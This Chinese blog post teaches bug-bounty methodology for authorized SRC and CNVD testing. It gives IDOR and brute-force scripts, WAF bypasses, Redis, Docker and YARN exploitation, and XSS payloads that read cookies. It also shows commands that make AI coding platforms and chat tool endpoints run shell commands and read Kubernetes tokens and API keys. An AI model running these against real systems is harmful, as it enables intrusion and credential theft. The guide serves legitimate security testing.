微信
支付宝
# 从资产闭环到证据链:CNVD 与 SRC 漏洞挖掘手法与技巧详解
上一篇讲了总体思路,这篇把「手法」摊开写细。所有内容都在**已授权**的企业 SRC、CNVD 报送或自建靶场语境下使用;不接受未授权测试,具体平台的报送规则以官方页面为准。
一个反复被验证的结论是:高价值漏洞很少来自「模板扫一遍」,而是来自下面这条链路的某一环被走通:
```text
资产 → 入口 → 对象/权限关系 → 数据流或调用链 → 安全边界 → 实际影响 → 证据 → 报告
```
下面按这条链路,逐段给出可落地的手法、判据和假点。
---
## 一、总纲:三种判据,决定一条线索值不值得报
挖洞时会遇到大量「看起来像」的点。真正决定能不能提交的,是三类判据:
1. **可达性**:外部输入到底有没有进入危险处理链?中间有没有被过滤、被前端拦、被网关吞掉?
2. **权限边界**:后端到底依据什么授权——用户 ID、租户 ID、角色、资源归属,还是仅仅相信了请求里传来的字段?
3. **影响可证**:能否稳定复现,影响是「能读一份别人的数据」还是「能改状态 / 能出网 / 能拿凭据」,两者定级完全不同。
判断一个点是真洞还是假点,最有效的方法是**做对照**:
- 对照接口行为:不带某参数 / 不带某 Header / 不带会话,结果是否明显不同。
- 对照对象归属:换成别人的 ID,响应内容、长度、字段是否跟着变。
- 对照公开面:公开搜索 / 公开橱窗里查不到的东西,在未授权口里出现了,才算数。
没有对照,只有「返回了 200」或「页面不一样」,一律当候选,不写报告。
---
## 二、资产与入口:一种子一闭环
### 2.1 节奏比工具重要
常见错误是一次性把几十个种子全丢给 FOFA,然后对着几千条结果发呆。更稳的节奏是:
1. 起手先落一份种子队列:用户给的目标词 + 业务/品牌名 + SRC 范围域 + 全资子公司域,多列几条,别只有一条。
2. 挑**一个**种子,搜它的资产 → 去重 → 去废(灰度测试、占位页、纯 CDN)→ 去非存活。
3. 把剩下的活面逐个建功能清单,一个一个挖完。
4. 这个种子活面挖完,才标完成,再搜下一个种子。
好处是每一条结论都能回溯到具体域名、页面、接口和结果,不会「搜了一堆但一个都没打穿」。
### 2.2 FOFA 最短语法
```text
qbase64:查询语句 UTF-8 再 Base64
fields:host,ip,port,title,server
size:先小后翻(翻的是同一个种子,不是换种子)
domain="target.com"
header="application/json"
body="actuator"
port="8080"
server="nginx" && domain="target.com"
cert.subject="品牌"
icon_hash="xxx"
status_code="200"
组合用 && ;排除用 !=
```
几个高 ROI 的组合:
- `body="actuator" && domain="target.com"`:Spring Boot 暴露面。
- `header="application/json" && domain="target.com"`:前后端分离的 API 网关。
- `cert.subject="品牌名"`:按证书主体找同品牌资产,绕过域名清单。
- `icon_hash="xxx"`:按图标找同套系统(同一套 OA / 网关的多个部署)。
### 2.3 资产细节:子域、指纹、虚拟主机
```bash
# 证书透明日志找子域
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
# 存活 + 指纹
cat subdomains.txt | httpx -title -tech-detect -status-code -o live_hosts.txt
# 虚拟主机发现(同一个 IP 上靠 Host 区分站点)
ffuf -w wordlist.txt -u https://target.com -H "Host: FUZZ.target.com" -mc 200,301,403
```
指纹主要看:`Server` / `X-Powered-By` / Cookie 名(`PHPSESSID`=PHP、`JSESSIONID`=Java)/ HTML 注释 / `meta generator` / 前端框架文件名。指纹决定后面开哪本测试模块,不做无差别全跑。
### 2.4 遇到登录页怎么处置
打开就是登录页,不等于「这个资产没东西」。正确顺序:
1. 先判断当前 host 是不是统一认证入口,业务面是否在**同一 host 的其它 path**或**跳转后的 host / 网关**。
2. 没有会话时,先挖未登录可见的公开面(公开搜索、公开详情、文档、列表 JSON)。
3. 登录表单能一眼打通或证伪就停;繁琐验证码 / 别人的身份页不要耗。
4. 清单里如果有发会话、重置、改绑、换票类入口,按认证链去打(见第九节)。
5. 一旦拿到合法会话,立刻转「对象图 / 换 id」(见第四节),不要再对着引号里的参数打转。
**反面教材**:看到 `401/403` 就反复磨登录 HTML。正确做法是分清——是登录页(找业务面),还是业务 API 的 401/403(现场改 path / METHOD / 头自己打)。
---
## 三、JS 逆向:不只抽 path,要抽「钥匙」
JS 逆向的价值不在「找到 `/api/xxx`」,而在于找到**能让你构造任意请求的东西**。进站时按顺序抽这几类:
- 路由、API 前缀、请求方式;
- 盐值 / 签名密钥 / HMAC 逻辑(`sign`、`_token`、`x-sign`);
- 密文 id 的加密公钥 / 算法(`modulus`、`RSA`);
- hidden / admin 路由、webpack 异步 chunk;
- **写死的演示号 / 测试租户 / 默认账号**(这些是「钥匙」,不是登录框字典)。
### 3.1 批量抽接口
```bash
for url in $(cat js_files.txt); do
curl -s "$url" | grep -oP '"(/api/[^"]+)"' | tr -d '"'
done | sort -u > discovered_apis.txt
# 关键词过滤
grep -E "(userId|uid|token|sign|order|payment)" discovered_apis.txt
```
```bash
# webpack chunk 里的隐藏路由
grep -oP 'path:\s*["\x27][^"'\'']+' all_js.txt
grep -oP 'baseURL:\s*["\x27][^"'\'']+' all_js.txt
grep -oP '"(/[a-z]+){1,5}"' all_js.txt | sort -u | grep -v node_modules
```
### 3.2 加密参数:断点定位 → 复现
请求里带 `sign` / `x-sign` 时,用断点定位签名函数:
```text
1. break_on_xhr("/api/target-endpoint")
2. 页面触发操作,暂停后看调用栈
3. 定位到 signRequest / sign 一类函数,读源码
```
常见的三种签名模式:
```javascript
// 模式1:参数排序 + MD5
const sorted = Object.keys(params).sort().map(k => `${k}=${params[k]}`).join('&');
return md5(sorted + SECRET_KEY);
// 模式2:timestamp + nonce + HMAC
return hmacSha256(ts + nonce + JSON.stringify(data), APP_SECRET);
// 模式3:固定 salt 拼接
const sign = md5(userId + ':' + timestamp + ':' + SALT);
```
在浏览器里直接调用页面函数拿到参考值,再用 Python 复现并比对:
```python
import hashlib, hmac, time, random, string
def sign_request(params: dict, secret_key: str) -> str:
sorted_str = '&'.join(f"{k}={params[k]}" for k in sorted(params.keys()))
return hashlib.md5((sorted_str + secret_key).encode()).hexdigest()
def sign_hmac(data: str, app_secret: str) -> str:
ts = str(int(time.time() * 1000))
nonce = ''.join(random.choices(string.ascii_lowercase, k=8))
return hmac.new(app_secret.encode(), (ts + nonce + data).encode(), hashlib.sha256).hexdigest()
```
签名能离线复现,意味着一整类「前端限制」失效——你可以构造任意 `userId`、任意金额、任意对象 ID 的请求,越权和逻辑漏洞的可用面会成倍放大。
### 3.3 JS 里还会漏什么
```bash
grep -oE "192\.168\.[0-9]{1,3}\.[0-9]{1,3}" *.js # 内网地址
grep -oE "10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" *.js
grep -oE "172\.(1[6-9]|2[0-9]|3[01])\.[0-9]{1,3}\.[0-9]{1,3}" *.js
```
写死的 AK/SK、测试环境域名、内部管理路径、隐藏的 GraphQL 端点,都属于高价值线索。
---
## 四、越权 / IDOR:先读差分,写操作先加后清
越权是 SRC 里产出最多、也最容易误报的一类。
### 4.1 找标识参数
```
URL 路径: /api/user/12345/info
URL 参数: ?userId=12345&orderId=ABC
请求体: {"uid": 12345, "target_id": "user_abc"}
响应体中: {"id": 12345, "created_by": 67890} ← 收集这些 ID
```
高价值接口特征:路径含 `user` / `account` / `profile` / `order` / `bill` / `message`;响应里带手机号、邮箱、真实姓名、身份证;方法含 `update` / `edit` / `delete` / `change`。
### 4.2 读差分(默认手段)
```python
# A 的 token 去访问 B 的资源
r1 = requests.get("https://target.com/api/user/info",
params={"userId": "A的ID"}, headers={"Authorization": token_a})
r2 = requests.get("https://target.com/api/user/info",
params={"userId": "B的用户ID"}, headers={"Authorization": token_a})
# r2 成功返回 B 的数据 → 水平越权
```
判据不是状态码,而是**响应里的对象归属**:姓名、手机、订单号、文件是否变成了别人的。
### 4.3 没有第二个账号也能打
不必为了凑第二个账号去磨注册。可用:
- 列表 / 回包 / 导出里别人真实出现的 ID;
- 邻号枚举:`±1`、`±10`、`0`、`-1`、`999999`;
- **哨兵值**:`0` / `-1` / 空 / 不传。很多系统在「正常 ID 被拦」后,对哨兵值反而返回全量或他人数据。
### 4.4 常见绕过
```
# 参数污染
?userId=A_ID&userId=B_ID # 有的框架取最后一个
body userId=A_ID + url ?userId=B_ID # 有的校验 body,有的用 url
# 路径遍历
/api/user/A_ID/orders → /api/user/B_ID/orders
/api/user/A_ID/..%2fB_ID/orders
# 未授权
去掉 Authorization 头 / 换成 invalid_token 直接请求
```
### 4.5 写越权:先加后清(最小伤害)
写越权**要测**,但不是对着别人已有的数据改删。顺序是:
1. **先测添加**:用自己的号(或未登录)调创建口,看能不能把新对象挂到别人名下 / 别人店 / 别人租户。成功即证写越权。
2. **再删自己刚加的那一条**:用同一条接口或对应删除口清掉,不留脏数据。
3. **不要**改别人已有订单、密码、角色,不要删别人原来的地址 / 券 / 商品。
4. 现场只有改/删现成对象的入口时:只改一个**自己能改回去**的测试字段,打一次就停。
5. 涉及改密 / 改角色 / 改绑:可探(拿掉旧验证看是否通过),过了**立刻改回**;改不回就停在回包,不要把别人的密、角色、邮箱留下。
6. 扣钱、清库存、真转资金不做。禁止批量。
---
## 五、未授权敏感读与信息泄露:那些「看起来没口」其实有口
这类点是国内目标里很好出成绩的一块,也是最容易「以为没洞」的地方。
### 5.1 结构化接口
```bash
# 分页越界拿全量
?page=99999&pageSize=1000
?offset=0&limit=99999
# 导出接口不限量
/api/export/users?format=csv
/api/export/orders?startTime=2020-01-01&endTime=2026-01-01
# 搜索接口通配符
?keyword=% # URL 编码的 %,SQL LIKE 通配
?keyword=*
?q= # 空搜索返回全部
# GraphQL 自省
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
```
### 5.2 「别停」清单(关键手法)
很多点不是没有,而是你停早了。以下每一条都是「表面像没口,换一步就出东西」:
1. **详情口 id 是密文时**,去 JS 找公钥 / 算法,自己加密别人的 ID。
2. **证照图 / 扫描件**:详情返回商标证、执照图片就打开看,注册人行常把身份证号拼在姓名后面。
3. **导出任务 `pageNum=0` 为空**:改 `pageNum=1`,常出全站别人的导出;抄 `fileName` / key 打 download。
4. **手机字段打码**:未发布详情的 `requirement` / 备注 / 自由文本里常把完整 11 位手机写进去,结构化字段被剥离了但正文没处理。
5. **目录页写「访客请登录」**:同站 search API(Keyword + Page + PageSize)未登录仍可能出内部文档正文和详情 URL。
6. **详情口已补 / 项目不存在**:同站 visit-log / 埋点口只要数字篇号,仍可能出 OA / 内部全文。
7. **内容预览口只吃数字 contentId**:回包 `isDelete=1` / 已删除 / 未发布也别停,对照公开橱窗应查不到。出整页 H5 或编辑器 JSON 才算数,只出标题不算。
8. **收集表 / 问卷填报页**:填报页只是题目,答卷表可能另有一个 id,不登录打答卷表详情,常出身份证 / 手机单元格。
**算成**:未公开业务正文从列表出来(不是公开橱窗标题),或他人主体手机 / 证件,或证照图上印着的身份证号。
**假点**:加了可见性参仍只出公开稿;只有标题没有正文;列表 401 就当没洞;空数组和缺参出的是同一份上架稿。
### 5.3 中间件暴露面(见了才打)
| 见什么 | 打哪 | 出什么算成 |
| --- | --- | --- |
| `:6379` Redis 无密码 `PING`→`PONG` | 写 webshell / crontab / `authorized_keys`(目录得是真 web 根) | 命令跑起来,或读到业务库 |
| `:873` rsync 匿名可列模块 | 下业务文件;模块可写再看能否写 cron | 拉到密钥 / 业务数据 |
| `:9000` PHP-FPM 直接暴露 | FastCGI 包打已有 `.php`(`PHP_VALUE=auto_prepend_file=php://input`) | 指定 PHP 被执行 |
| `:8009` AJP | Ghostcat 读 `/WEB-INF/web.xml` | 读到 web.xml / class |
| `:8088` Hadoop YARN UI | `POST /ws/v1/cluster/apps/new-application` 提交带 `commands` 的 app | 集群里跑了你的命令 |
| `:2375` Docker API | `GET /v1.24/containers/json`;能 create 再挂 `/:/host` | 列出容器或读到宿主机文件 |
| `/h2-console` | JDBC URL JNDI 或 `CREATE ALIAS` | 命令跑起来 |
公网直连和 SSRF 打内网是同一套 sink,差别只是入口。**没有这些端口不要为了这张表去全端口扫。**
---
## 六、注入 / SSRF / XSS:先建基线,再做差分
### 6.1 通用差分法
1. 先发正常请求,记录基线(状态码、长度、耗时、关键字)。
2. 再发带影响语义的请求,比对差异。
3. 确认是「WAF 拦」还是「应用拒绝」还是「逻辑没走到」。
4. 每次只改一个变量,保留前后响应。
**注入**:比较参数进入查询、排序、过滤、模板后的行为差异,确认可控范围。
**SSRF**:确认请求是否由服务端发起、能访问什么范围、响应是否可回显;不要以单次超时下结论。
**XSS**:区分反射/存储/DOM,结合真实输出上下文判断是否可执行,而不是看字符串是否原样返回。
### 6.2 XSS 证明方式(SRC 要求)
不要用 `alert(1)` 证明危害,用能证明影响的载荷:
```javascript
alert(document.cookie) // 能读 Cookie
alert(localStorage.getItem('token') || sessionStorage.getItem('token')) // 能读 token
alert(document.domain) // 证明不是 self-xss
```
内联事件作用域里 `cookie` = `document.cookie`,`URL` = `document.URL`,可写成 `a=alert,a(cookie)`。
冷门自动事件(`onerror` / `onload` 被剥时用,标签名可以随便):
```html
Go
```
### 6.3 XSS → RCE 的两条升级链(企业客户端)
- **企业 Git + 桌面客户端**:README / 议题 / MR 描述能写 HTML → 当存储型 XSS 打进客户端 → 若客户端暴露了桥(`process` / `require`)再升 RCE。
- **Electron / CEF 自定义协议**:协议参数有 `url` / `urlType` / `open` / `openUrl` / `webview` 时,协议里填自己的页面;页面上先探 `process` / `require` / `window.require`,有就执行命令,不要只认 Electron 10 的 `remote`。
**算成**:客户端里真的执行了你指定的无害命令。
**假点**:只在浏览器弹窗;客户端不渲染或沙箱死了——停在存储 XSS,不要写成 RCE。
---
## 七、文件上传与对象存储:签名和策略是重灾区
对象存储相关的手法是近年国内 SRC 的高产区,核心是「签名 / 策略没绑死」。
| 认什么 | 打哪 | 出什么算成 |
| --- | --- | --- |
| 先申 STS,key 是文件 md5,或 assumerole 的 `filename` / `Action` 进 Policy | 凭证字段填 `*` / 空 / `/`,Policy 里 filename / Action 通配;List/Delete 403 别停,换匿名票再打 | 对方文档被你覆盖,或能列出并删别人的 key |
| 网关把对象存储代理成 `/api/storage/sign`,query 吃 `key` | 不登录 `GET ?key=/` 拿 ListBucket XML,再 GET 列表里的业务前缀 | 列出并读到他人未公开对象原文 |
| 站点图 / 指南挂在桶上,`?policy` 全 Allow | 无密钥 LIST,再 PUT 覆盖官方对象 | 官方指南 / 协议变成你传的 |
| 带签 URL 的 `SignedHeaders` 里没有 `host` | 域名换成同账号另一个桶,加 `?uploads` 做分片列举 | 列出或读到别的桶里的对象 |
| 对象内容你可控,Content-Type 被卡死,有临时钥或预签名 | 再签一枪,签进 `response-content-type=text/html` | 用签过的 URL 打开,浏览器当 HTML 跑(存储 XSS) |
**假点**:`*` 只到废桶;覆盖 403;只能盖自己前缀;只能下自己刚传的;猜不到别人 key;CDN 不刷新看起来没被覆盖。
---
## 八、业务逻辑与竞态:状态机、金额、次数、归属
### 8.1 支付与优惠
```bash
# 价格篡改
POST /api/order/create
{"goodsId":"123","count":1,"price":"0.01"} # 改单价
# 负数价格 / 负数积分
{"goodsId":"123","count":1,"price":"-100"}
{"points": -1000} # 期望余额增加
# 整数溢出
{"count": 2147483647}
```
### 8.2 商家促销绑定(B 端典型)
本质:商家后台的「把券绑到某件货」接口只信请求里的 `productId`,不校验这件货是不是本店的。
1. 用本店号建一张规则狠的券(无门槛、面值大)。
2. 正常绑一次自己的货,抓住绑定请求。
3. **只改** `productId` 成别人店、别的品类的货;券 ID 不动。
4. 打开 C 端那件货的详情 / 下单页,看标价和应付。
**算成**:C 端别人那件货的应付价按你这张券掉下来。
**假点**:绑定接口 200 但 C 端价不变;只绑得动自己的货。
### 8.3 竞态(并发)
```python
import threading, requests
def consume():
r = requests.post("https://target.com/api/pay",
headers={"Authorization": f"Bearer {TOKEN}"}, json={"amount": 100})
print(r.json())
# 余额 100,同时发 10 次 100
threads = [threading.Thread(target=consume) for _ in range(10)]
[t.start() for t in threads]; [t.join() for t in threads]
```
优惠券、积分、库存、领取次数、重复提交都属于同一类:**先看有没有幂等和乐观锁**,再决定要不要并发。
### 8.4 验证码 / 短信 / 接管
```python
# 验证码可枚举
for code in range(0, 10000):
r = requests.post("https://target.com/api/verify",
json={"phone": "13800138000", "code": f"{code:04d}"})
if r.json().get("code") == 0:
print(code); break
```
万能码可试 `000000` / `123456` / `888888` / 空值 / 不发码直接提交。
- **密码找回越权**:发起找回 A → 拿到 token → 把请求里的 `phone` 改成 B → 若能改 B 的密码即任意重置。
- **接管**:号码注销后重新分配;改绑时验证码发到旧号。
- **只证明能发码不算打穿**:要走到「码回显 + 登录」「万能码 + 登录」「爆破 + 改密」才算闭环。
### 8.5 业务逻辑绕过
```
# 状态机:正常 1→2→3,尝试跳过 2 直接 3,或回退到 1 但保留 3 的结果
# 测试用参数:debug=true / test=1 / internal=1 / is_admin=true / role=admin / bypass_check=1
```
账号枚举:注册 / 登录接口对「用户不存在」和「密码错误」返回不同,即可枚举。
---
## 九、认证与会话:发会话、重置、改绑、换票
认证链的手法集中在四个动作上:
- **发会话**:二维码登录 / 运营配置深链里带着能当会话用的 token;不登录拿 token,带着 token 打开带会话的 URL。
- **重置**:找回密码流程里换手机号 / 换 token 归属。
- **改绑**:换绑手机 / 邮箱时校验旧值还是新值,验证码发到哪一端。
- **换票**:登录 / OAuth 回调里把 code / ticket / state 换给别人。
判据都是「对照」:不带这串 token 应该登录过期,带了就变成对方身份(`me` 接口返回别人的手机 / 角色)。
JWT / OAuth / SAML 的重点放在:算法混淆(`alg:none` / HS256 对称密钥)、`kid` 注入、`jku` / `x5u` 指向自有密钥、重放与有效期、SAML 签名剥离。
**红线**:拿到用户会话后,**严禁**调用登出 / 注销 / 吊销令牌接口,也不要拿「退出后会话是否仍有效」当测试目标——会话断了复现就没了。改密 / 改绑过了立刻改回。
---
## 十、WAF 绕过:有差分面之后再动手
WAF 绕过不是开场动作。顺序是:先确认参数确实进入目标处理链 → 观察是 WAF 拦截还是应用拒绝 → 确认存在可利用差分面 → 再换编码 / 位置 / 结构。每次只改一个变量。
### 10.1 先识别 WAF
```bash
wafw00f target.com
curl -sI https://target.com | grep -i "server\|cf-ray\|x-sucuri\|x-akamai\|x-cache"
```
行为指纹:发正常请求记录基线,再发明显攻击请求,比对状态码 / 拦截页内容 / 连接重置;拦截页文案常直接暴露厂商(Cloudflare / Imperva / ModSecurity)。
### 10.2 通用绕过类别
| 类别 | 示例 | 绕的是什么 |
| --- | --- | --- |
| URL 编码 | `%3Cscript%3E` | 基础字符串匹配 |
| 双重编码 | `%253Cscript%253E` | WAF 解一次、应用解两次 |
| Unicode | `%u003Cscript%u003E` | IIS 归一化 |
| HTML 实体 | `<script>` | 不做实体解码的 WAF |
| 十六进制(SQL) | `0x756E696F6E` = union | 匹配 SQL 关键字的 WAF |
| 混合大小写 | `SeLeCt` / `uNiOn` | 大小写敏感规则 |
| 空字节 | `sel%00ect` | 在 null 处停止解析的 WAF |
**分块传输**:把载荷拆到多个 chunk,使任一 chunk 都不含被拦特征(WAF 若不重组 body 就绕过)。
**HTTP/2**:头部是二进制 HPACK 帧,部分 WAF 只在降级到 HTTP/1.1 后检查;伪首部(`:method` / `:path`)常绕过基于头的规则,H2→H1 降级还可能引入走私。
**参数污染 HPP**:同一参数重复提交,不同服务器取值不同(PHP 取最后一个、ASP.NET 拼接、Flask 取第一个、Node 成数组)。`?a=sel&a=ect` 在 ASP.NET 下可能拼成 `select`。
**IP 欺骗头**:`X-Forwarded-For` / `X-Real-IP` / `True-Client-IP` / `Forwarded` 填 `127.0.0.1`,针对按来源 IP 分规则集的 WAF。
**路径归一化**:`/./admin`、`//admin`、`/%61dmin`、`/admin%00.jpg`、`/admin.`、`/admin;jsessionid=x`——让 WAF 看到的路径和应用解析出的路径不一致。
**Content-Type 切换**:WAF 常按格式选解析器,换 `Content-Type` 可能换到规则更弱的解析路径。
---
## 十一、新面:AI 编程台与对话口工具执行
这是近两年新增的高价值面,注意别和「提示词越狱」混为一谈。
### 11.1 云 IDE / Codex 系编程台 RPC 链
**认**:公网编程台有 `/tenant-api/login` + `/codex-api/rpc`(租户登录 + Codex RPC)。
**一句话链路**:
```
弱口令/未授权登录 → 租户会话
→ POST /codex-api/rpc method=command/exec(root)
→ env / fs 读集群 SA + 模型 API Key + 邀请码
```
```bash
# 指纹
curl -sk -X POST "https://HOST/tenant-api/login" -H "Content-Type: application/json" \
-d '{"username":"x","password":"y"}'
curl -sk -X POST "https://HOST/codex-api/rpc" -H "Content-Type: application/json" \
-d '{"method":"meta/methods","params":{}}' # 无 Cookie 也看错误形态
# 登录后
-d '{"method":"command/exec","params":{"command":["id"]}}'
-d '{"method":"fs/readFile","params":{"path":"/etc/os-release"}}'
-d '{"method":"command/exec","params":{"command":["cat","/var/run/secrets/kubernetes.io/serviceaccount/token"]}}'
```
危险方法:`command/exec`、`fs/readFile|writeFile|remove|readDirectory`、`meta/methods`、`thread/start`、`model/list`。
**危害证据优先级**:`id` → `uid=0(root)`;hostname 像持久计算面 Pod;模型 `*_API_KEY`;`KUBERNETES_SERVICE_HOST` + 可读 SA token。
**假点**:通配符证书的临时实例随时销毁;只登录但没有 RPC;模型只口头说执行了。
### 11.2 对话口工具真执行
**认**:身份口(whoami / profile)回 401,但**同一套前端的对话口**(`/chat` / `createTask`)不带 Cookie 仍接;且工具列表里有会跑命令的工具(`bash` / `shell` / `code_interpreter` / `python` / `execute`,名字不封闭)。
**打**(不登录):POST 对话口,让模型**点名用那个工具**跑 `echo 标记 && id`,或让它用 Python 算一串你本机也能算的 md5。不要只问「请执行」。
**算成**:stdout / SSE 里出现 SRC 验证台 flag、云密钥(能问出账号)、或他主体业务正文。
**假点 / 停**:模型只口头说执行了、数字对不上;沙箱拒命令;`uid=` 和本机 md5 只证明命令跑了,**不算成**,跟不出 flag / 云钥 / 他主体正文就证伪停。
---
## 十二、白盒审计:从「危险函数搜索」转向「可达数据流」
给源码时按 Phase 0~6 推进。
### Phase 0 建立范围
确认项目版本、构建方式、关键模块、入口服务、依赖与配置。先明确审的是框架本身、业务模块,还是某条暴露接口。
### Phase 1 画边界
整理 HTTP / RPC / 消息队列 / 文件 / 数据库 / 模板 / 缓存 / 任务的输入输出边界,标出认证、授权、租户隔离位置。
### Phase 2 追数据流
从请求参数、Header、Cookie、上传文件、反序列化对象、外部消息出发,追到 SQL、文件路径、HTTP 客户端、命令执行、模板渲染、表达式解析、权限判断等敏感汇点。
### Phase 3 看调用链与条件
不能只凭危险函数命中下结论。要确认:调用链是否可达、是否经过过滤、是否有编码差异、是否受角色/租户/状态约束、异常分支是否绕过检查。
### Phase 4 最小验证
用最小输入证明根因与影响。权限问题证「谁能对谁做什么」;注入问题证「外部输入是否控制了危险语义」。不执行破坏性利用,不扩大读取范围。
### Phase 5 去重与定级
同一根因导致多个入口时,按**根因**归并,保留代表入口和影响范围,不要把一个问题拆成很多条。区分确认事实、推测链路、未验证候选。
### Phase 6 报告与修复建议
修复建议落到代码和配置:在哪里加授权、如何绑定租户、如何参数化查询、如何限制出站、如何安全解析、补什么回归测试。
---
## 十三、CNVD 与 SRC 的交付重点
| 维度 | SRC 报告 | CNVD 方向报告 |
| --- | --- | --- |
| 关注重点 | 项目范围、业务影响、可复现步骤、提交质量 | 产品/组件、版本范围、漏洞类型、根因、修复建议 |
| 证据表达 | 脱敏请求响应、对象关系、前后差异、截图、影响说明 | 产品信息、受影响版本、通用复现条件、影响与修复方案 |
| 加分项 | 低噪音、验证充分、影响贴近业务、不给企业造成额外损失 | 组件识别准确、版本边界清楚、根因解释完整、修复建议可执行 |
| 常见问题 | 把前端限制当授权、只报状态码、不说明对象归属 | 只给工具结果、不确认版本、把猜测写成已验证事实 |
### 一份通用报告至少应包含
1. 标题:产品/业务 + 漏洞类型;
2. 测试范围与前置条件;
3. 复现步骤与关键请求;
4. 预期结果与实际结果;
5. 影响范围与业务后果;
6. 脱敏证据(截图、请求响应、差分结果);
7. 根因分析;
8. 修复建议与回归验证点;
9. 仍未确认的边界与限制。
报告最忌三件事:把扫描器结果当结论,把缓存 / 历史页面当实时证据,把局部验证包装成全量核验。
---
## 十四、假点清单与常见坑
- 只跑全量扫描,不看业务对象和状态机;
- 看到登录页就换资产,没继续找业务面;
- 看到 `401/403` 反复磨登录 HTML,而不判断它是不是业务 API;
- 把前端菜单隐藏、返回 `200`、一个异常页面直接当漏洞;
- WAF 还没确认拦截差分就先大量绕过;
- 为了证明写权限去改别人既有数据;
- 测试结束登出 / 吊销会话,破坏复现现场;
- 用 CORS 缺头代替真实的越权 / 注入 / 业务影响;
- 中危以上问题在清单里压很久,不落正式报告;
- 不区分已验证、部分完成、未执行、推测。
还有一个常见误判:**缓存 ≠ 实时,历史页面 ≠ 当前状态,发现 ≠ 可用**。定级和结论都必须建立在当前可复现的证据上。
---
## 结语
把整篇压缩成一句话:
```text
谁 → 在什么范围 → 通过什么入口 → 影响了什么对象 → 造成什么后果 → 如何修复
```
资产测绘做成闭环,JS 逆向落到「钥匙」,越权落到对象差分,上传落到签名与策略,逻辑落到状态机与并发,认证落到发会话 / 重置 / 改绑 / 换票,白盒落到可达数据流——最后所有结论都写成可复现、低伤害、可复核的证据链。这套方法比单纯堆工具更稳定,也更适合长期做 CNVD 和 SRC。
> 再次强调:以上手法仅限授权测试与合法漏洞研究。测试全程保持最小伤害,不做破坏性利用、不造成真实资损、不登出用户会话、不批量操作生产数据。
BLOG | Mortal
探索 | 实践 | 记录 | 分享
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 途深